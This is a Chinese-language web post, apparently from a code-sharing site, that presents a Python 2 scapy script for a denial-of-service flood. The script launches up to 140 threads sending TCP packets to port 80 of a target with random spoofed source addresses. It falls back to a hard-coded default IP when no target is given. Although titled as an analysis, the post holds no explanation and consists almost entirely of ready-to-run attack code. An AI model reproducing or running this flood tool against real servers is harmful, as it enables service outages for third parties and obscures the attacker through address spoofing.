分析python服务器拒绝服务攻击代码

Madeline ·
更新时间:2024-09-21
· 835 次阅读

代码如下:
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,activeCount
from random import randint

class Loop(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr

    def run(self):
        ip = str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))
        sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)

       
class Main(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr

    def run(self):
        limit = 140
        total = 0
        while True:
            if activeCount() < limit:
                Loop(remoteAddr = self.remoteAddr).start()
                total = total + 1
            print '目前已经进行的HttpFlood的次数为:',total

if __name__ == '__main__':
    remoteAddr = raw_input('IP=')
    if remoteAddr == '':
        remoteAddr = '202.103.25.12'
    Main(remoteAddr = remoteAddr).start()

您可能感兴趣的文章:python网络编程之TCP通信实例和socketserver框架使用例子Python基于twisted实现简单的web服务器Python实现的检测web服务器健康状况的小程序Python写的Socks5协议代理服务器python网络编程学习笔记(三):socket网络服务器Python写的一个简单DNS服务器实例python网络编程之UDP通信实例(含服务器端、客户端、UDP广播例子)linux系统使用python监控apache服务器进程脚本分享python定时采集摄像头图像上传ftp服务器功能实现python实现简单的TCP代理服务器



拒绝服务 拒绝服务攻击 Python

需要 登录 后方可回复, 如果你还没有账号请 注册新账号